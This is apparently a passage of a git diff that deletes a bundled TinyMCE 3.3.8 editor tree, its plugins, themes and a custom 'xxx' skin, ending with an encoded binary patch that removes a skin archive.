tinymce-3.3.8/jscripts/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/alert.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/button.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/buttons.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/confirm.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/corners.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/horizontal.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/vertical.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/inlinepopups/skins/clearlooks2/window.css delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/inlinepopups/template.htm delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/insertdatetime/editor_plugin.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/insertdatetime/editor_plugin_src.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/layer/editor_plugin.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/layer/editor_plugin_src.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/legacyoutput/editor_plugin.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/legacyoutput/editor_plugin_src.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/media/css/content.css delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/media/css/media.css delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/media/editor_plugin.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/media/editor_plugin_src.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/media/img/flash.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/media/img/flv_player.swf delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/media/img/quicktime.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/media/img/realmedia.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/media/img/shockwave.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/media/img/trans.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/media/img/windowsmedia.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/media/js/embed.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/media/js/media.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/media/langs/en_dlg.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/media/media.htm delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/nonbreaking/editor_plugin.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/nonbreaking/editor_plugin_src.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/noneditable/editor_plugin.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/noneditable/editor_plugin_src.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/pagebreak/css/content.css delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/pagebreak/editor_plugin.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/pagebreak/editor_plugin_src.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/pagebreak/img/pagebreak.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/pagebreak/img/trans.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/paste/editor_plugin.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/paste/editor_plugin_src.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/paste/js/pastetext.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/paste/js/pasteword.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/paste/langs/en_dlg.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/paste/pastetext.htm delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/paste/pasteword.htm delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/preview/editor_plugin.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/preview/editor_plugin_src.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/preview/example.html delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/preview/jscripts/embed.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/preview/preview.html delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/print/editor_plugin.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/print/editor_plugin_src.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/save/editor_plugin.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/save/editor_plugin_src.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/searchreplace/css/searchreplace.css delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/searchreplace/editor_plugin.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/searchreplace/editor_plugin_src.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/searchreplace/js/searchreplace.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/searchreplace/langs/en_dlg.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/searchreplace/searchreplace.htm delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/spellchecker/css/content.css delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/spellchecker/editor_plugin.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/spellchecker/editor_plugin_src.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/spellchecker/img/wline.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/style/css/props.css delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/style/editor_plugin.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/style/editor_plugin_src.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/style/js/props.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/style/langs/en_dlg.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/style/props.htm delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/tabfocus/editor_plugin.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/tabfocus/editor_plugin_src.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/table/cell.htm delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/table/css/cell.css delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/table/css/row.css delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/table/css/table.css delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/table/editor_plugin.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/table/editor_plugin_src.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/table/js/cell.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/table/js/merge_cells.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/table/js/row.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/table/js/table.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/table/langs/en_dlg.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/table/merge_cells.htm delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/table/row.htm delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/table/table.htm delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/template/blank.htm delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/template/css/template.css delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/template/editor_plugin.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/template/editor_plugin_src.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/template/js/template.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/template/langs/en_dlg.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/template/template.htm delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/visualchars/editor_plugin.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/visualchars/editor_plugin_src.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/wordcount/editor_plugin.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/wordcount/editor_plugin_src.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/abbr.htm delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/acronym.htm delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/attributes.htm delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/cite.htm delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/css/attributes.css delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/css/popup.css delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/del.htm delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/editor_plugin.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/editor_plugin_src.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/ins.htm delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/js/abbr.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/js/acronym.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/js/attributes.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/js/cite.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/js/del.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/js/element_common.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/js/ins.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/plugins/xhtmlxtras/langs/en_dlg.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/about.htm delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/anchor.htm delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/charmap.htm delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/color_picker.htm delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/editor_template.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/editor_template_src.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/image.htm delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/img/colorpicker.jpg delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/img/icons.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/js/about.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/js/anchor.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/js/charmap.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/js/color_picker.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/js/image.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/js/link.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/js/source_editor.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/langs/en.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/langs/en_dlg.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/link.htm delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/default/content.css delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/default/dialog.css delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/default/img/buttons.png delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/default/img/items.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/default/img/menu_arrow.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/default/img/menu_check.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/default/img/progress.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/default/img/tabs.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/default/ui.css delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/o2k7/content.css delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/o2k7/dialog.css delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/o2k7/img/button_bg.png delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/o2k7/img/button_bg_black.png delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/o2k7/img/button_bg_silver.png delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/o2k7/ui.css delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/o2k7/ui_black.css delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/o2k7/ui_silver.css delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/xxx/content.css delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/xxx/dialog.css delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/xxx/img/buttons.png delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/xxx/img/content.css delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/xxx/img/dialog.css delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/xxx/img/items.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/xxx/img/menu_arrow.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/xxx/img/menu_check.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/xxx/img/progress.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/xxx/img/tabs.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/xxx/img/ui.css delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/xxx/ui.css delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/source_editor.htm delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/simple/editor_template.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/simple/editor_template_src.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/simple/img/icons.gif delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/simple/langs/en.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/simple/skins/default/content.css delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/simple/skins/default/ui.css delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/simple/skins/o2k7/content.css delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/simple/skins/o2k7/img/button_bg.png delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/themes/simple/skins/o2k7/ui.css delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/tiny_mce.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/tiny_mce_gzip.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/tiny_mce_gzip.php delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/tiny_mce_popup.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/tiny_mce_src.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/utils/editable_selects.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/utils/form_utils.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/utils/mctabs.js delete mode 100644 tinymce-3.3.8/jscripts/tiny_mce/utils/validate.js delete mode 100644 tinymce_3_3_8.zip delete mode 100644 tinymce_4.2.8.zip diff --git a/20100727-skins-xxx-3.3.8.tar.gz b/20100727-skins-xxx-3.3.8.tar.gz deleted file mode 100644 index e765a6f985663f0564c29388e023767f5f3b9988..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 15857 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 